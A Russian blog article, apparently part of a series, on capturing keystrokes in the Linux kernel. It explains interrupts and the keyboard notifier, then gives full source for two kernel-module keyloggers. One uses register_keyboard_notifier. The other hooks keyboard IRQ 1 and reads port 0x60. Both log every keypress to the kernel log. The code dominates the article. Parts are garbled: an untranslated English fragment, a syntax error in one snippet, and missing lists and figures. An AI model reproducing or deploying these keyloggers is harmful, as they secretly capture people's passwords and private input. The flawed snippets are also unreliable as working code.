В первой и второй частях мы писали про то, как написать кейлоггер, работающий в пользовательской среде Linux. А в этой статье мы рассмотрим методы перехвата событий клавиатуры в ядре Linux.
Ниже приведена схема работы ОС с клавиатурой:
Ядро устанавливает обработчики прерываний, заполняя таблицу дескрипторов прерываний и передавая ее процессору (чтобы процессор знал, какую процедуру вызывать для любого заданного прерывания). Ядро также предоставляет систему уведомлений клавиатуры, которая принимает объекты **notifier_block** от других модулей ядра и вызывает соответствующие callback-функции на каждое событие клавиатуры.
Прерывание — это событие, которое изменяет нормальный ход выполнения программы и может генерироваться аппаратными устройствами или даже самим ЦП. Процессор получает прерывание и дает сигнал операционной системе о том, что ОС может обработать новые данные.
Прерывания можно разделить на две категории в зависимости от источника прерывания:
- синхронный, генерируется выполнением инструкции
- асинхронный, генерируемый внешним событием
Или же,
- маскируемый
- немаскируемый
Как правило, устройства, вызывающие прерывания, не связаны напрямую с CPU. Аппаратное обеспечение использует программируемый контроллер прерываний (PIC), который помогает центральному процессору, принимая прерывания от нескольких устройств и передавая их CPU в нужном формате. Выглядит это так:
Но в реальности обычно используется несколько улучшенных программируемых контроллера прерываний (APIC). Один из них взаимодействует с тепловыми датчиками, таймерами и т.д. Другие – с устройствами ввода и вывода. Выглядит это примерно так:
Внешние устройства взаимодействуют с I/O APIC, который принимает от них прерывания и передает их ядру процессора для обработки. Это происходит примерно следующим образом:
Хотя прерывания могут обрабатываться на уровне устройства и PIC/APIC, мы ограничимся обработкой на уровне ЦП. Когда процессор получает запрос на прерывание, он делает следующее:
В Linux прерывания обычно обрабатываются в три этапа (оне все обработчики прерываний будут иметь все три этапа):
Отложенные действия используются для запуска функций обратного вызова в более позднее время. Если отложенные действия запланированы обработчиком прерывания, соответствующая функция обратного вызова будет запущена после завершения обработчика прерывания.
Keyboard notifier вызывает callback-функции и передает данные в виде структуры **keyboard_notifier_param**, которая выглядит так:
struct keyboard_notifier_param { struct vc_data *vc; int down; int shift; int ledstate; unsigned int value; };
Список переменных структуры:
Существует два способа перехвата клавиатурных событий в ядре:
Callback-функция для проверки события выглядит так:
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param) { char keybuf[12] = {0}; struct keyboard_notifier_param *param = _param; if (!(param->down)) return NOTIFY_OK; keycode_to_string(param->value, param->shift, keybuf, 12); if (strlen(keybuf); < 1) return NOTIFY_OK; printk(KERN_INFO "Keylog: %s", keybuf); return NOTIFY_OK; }
Этот обработчик может быть запущен во время загрузки (и выключен во время выгрузки), как показано ниже:
static struct notifier_block keysniffer_blk = { .notifier_call = keyboard_event_handler, }; static int __init keylogger_init(void) { register_keyboard_notifier(&keysniffer_blk); return 0; } static void __exit keylogger_exit(void) { unregister_keyboard_notifier(&keysniffer_blk); }
Но теперь возникает проблема: протоколирование не должно выполняться как часть самого обработчика запроса. Тут нам пригодятся отложенные действия: у нас будет отложенное действие, которое будет регистрировать перехваченные данные за нас. Как только обработчик прерывания сделает свою работу, мы используем тасклет – функцию, выполняемую в контексте прерывания.
Поскольку мы работаем на очень низком уровне, нам также придется самостоятельно заниматься извлечением кода клавиш.
Базовый IRQ будет выглядеть так:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs) { scancode = inb(0x60); return (irq_handler_t)IRQ_HANDLED; } The tasklet can be defined as shown below: void tasklet_logger(unsigned long dummy) { ... } DECLARE_TASKLET(my_tasklet, tasklet_logger, 0); Now we can register our tasklet and IRQ handlers as shown below: irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs) { data.scancode = inb(0x60); tasklet_schedule(&my_tasklet); return (irq_handler_t)IRQ_HANDLED; } static int __init kb_init(void) { int ret; ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data); if(ret != 0){ printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n"); } return ret; } static void __exit kb_exit(void) { tasklet_kill(&my_tasklet); free_irq(KB_IRQ, &data); }
Кейлоггер с использованием keyboard notifier:
#include <linux/module.h> #include <linux/keyboard.h> #include <linux/input.h> MODULE_LICENSE("GPL"); static const char *us_keymap[][2] = { {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, // 0-3 {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, // 4-7 {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, // 8-11 {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, // 12-14 {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"}, {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, // 20-23 {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, // 24-27 {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"}, // 28-31 {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, // 32-35 {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"}, // 36-39 {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43 {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"}, // 44-47 {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"}, // 48-51 {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"}, {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"}, {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"}, // 60-63 {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, // 64-67 {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, // 68-70 {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73 {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"}, // 74-76 {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"}, // 77-79 {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82 {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, // 83-85 {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"}, // 86-89 {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"}, // 99-101 {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"}, // 102-104 {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"}, {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, // 108-110 {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 111-114 {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 115-118 {"_PAUSE_", "_PAUSE_"}, // 119 }; void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size) { if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) { const char *us_key = (shift_mask == 1) ? us_keymap[keycode][1] : us_keymap[keycode][0]; snprintf(buf, buf_size, "%s", us_key); } } int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param) { char keybuf[12] = {0}; struct keyboard_notifier_param *param = _param; if (!(param->down)) return NOTIFY_OK; keycode_to_string(param->value, param->shift, keybuf, 12); if (strlen(keybuf) < 1) return NOTIFY_OK; printk(KERN_INFO "Keylog: %s", keybuf); return NOTIFY_OK; } static struct notifier_block keysniffer_blk = { .notifier_call = keyboard_event_handler, }; static int __init keylogger_init(void) { register_keyboard_notifier(&keysniffer_blk); return 0; } static void __exit keylogger_exit(void) { unregister_keyboard_notifier(&keysniffer_blk); } module_init(keylogger_init); module_exit(keylogger_exit);
Кейлоггер с использованием IRQ:
#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>
#define KB_IRQ 1
struct logger_data{
unsigned char scancode;
} data;
void tasklet_logger(unsigned long dummy)
{
static int shift = 0;
char buf[32];
memset(buf, 0, sizeof(buf));
switch(data.scancode){
default: return;
case 1: strcpy(buf, "(ESC)"); break;
case 2: strcpy(buf, (shift) ? "!" : "1"); break;
case 3: strcpy(buf, (shift) ? "@" : "2"); break;
case 4: strcpy(buf, (shift) ? "#" : "3"); break;
case 5: strcpy(buf, (shift) ? "$" : "4"); break;
case 6: strcpy(buf, (shift) ? "%" : "5"); break;
case 7: strcpy(buf, (shift) ? "^" : "6"); break;
case 8: strcpy(buf, (shift) ? "&" : "7"); break;
case 9: strcpy(buf, (shift) ? "*" : "8"); break;
case 10: strcpy(buf, (shift) ? "(" : "9"); break;
case 11: strcpy(buf, (shift) ? ")" : "0"); break;
case 12: strcpy(buf, (shift) ? "_" : "-"); break;
case 13: strcpy(buf, (shift) ? "+" : "="); break;
case 14: strcpy(buf, "(BACK)"); break;
case 15: strcpy(buf, "(TAB)"); break;
case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
case 17: strcpy(buf, (shift) ? "W" : "w"); break;
case 18: strcpy(buf, (shift) ? "E" : "e"); break;
case 19: strcpy(buf, (shift) ? "R" : "r"); break;
case 20: strcpy(buf, (shift) ? "T" : "t"); break;
case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
case 22: strcpy(buf, (shift) ? "U" : "u"); break;
case 23: strcpy(buf, (shift) ? "I" : "i"); break;
case 24: strcpy(buf, (shift) ? "O" : "o"); break;
case 25: strcpy(buf, (shift) ? "P" : "p"); break;
case 26: strcpy(buf, (shift) ? "{" : "["); break;
case 27: strcpy(buf, (shift) ? "}" : "]"); break;
case 28: strcpy(buf, "(ENTER)"); break;
case 29: strcpy(buf, "(CTRL)"); break;
case 30: strcpy(buf, (shift) ? "A" : "a"); break;
case 31: strcpy(buf, (shift) ? "S" : "s"); break;
case 32: strcpy(buf, (shift) ? "D" : "d"); break;
case 33: strcpy(buf, (shift) ? "F" : "f"); break;
case 34: strcpy(buf, (shift) ? "G" : "g"); break;
case 35: strcpy(buf, (shift) ? "H" : "h"); break;
case 36: strcpy(buf, (shift) ? "J" : "j"); break;
case 37: strcpy(buf, (shift) ? "K" : "k"); break;
case 38: strcpy(buf, (shift) ? "L" : "l"); break;
case 39: strcpy(buf, (shift) ? ":" : ";"); break;
case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
case 41: strcpy(buf, (shift) ? "~" : "`"); break;
case 42:
case 54: shift = 1; break;
case 170:
case 182: shift = 0; break;
case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
case 45: strcpy(buf, (shift) ? "X" : "x"); break;
case 46: strcpy(buf, (shift) ? "C" : "c"); break;
case 47: strcpy(buf, (shift) ? "V" : "v"); break;
case 48: strcpy(buf, (shift) ? "B" : "b"); break;
case 49: strcpy(buf, (shift) ? "N" : "n"); break;
case 50: strcpy(buf, (shift) ? "M" : "m"); break;
case 51: strcpy(buf, (shift) ? "<" : ","); break;
case 52: strcpy(buf, (shift) ? ">" : "."); break;
case 53: strcpy(buf, (shift) ? "?" : "/"); break;
case 56: strcpy(buf, "(R-ALT"); break;
case 55:
case 57:
case 58:
case 59:
case 60:
case 61:
case 62:
case 63:
case 64:
case 65:
case 66:
case 67:
case 68:
case 70:
case 71:
case 72: strcpy(buf, " "); break;
case 83:
strcpy(buf, "(DEL)"); break;
}
printk(KERN_INFO "keylogger log: %s", buf);
}
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
data.scancode = inb(0x60);
tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}
static int __init kb_init(void)
{
int ret;
printk(KERN_INFO "keylogger: initializing...");
ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
if(ret != 0){
printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
}
printk(KERN_INFO "keylogger: initialization complete.");
return ret;
}
static void __exit kb_exit(void)
{
tasklet_kill(&my_tasklet);
free_irq(KB_IRQ, &data);
printk(KERN_INFO "keylogger: unloaded.");
}
MODULE_LICENSE("GPL");
module_init(kb_init);
module_exit(kb_exit);
Пройдите по шифрованной тропе информационной безопасности – подпишитесь на наш ТГ-канал!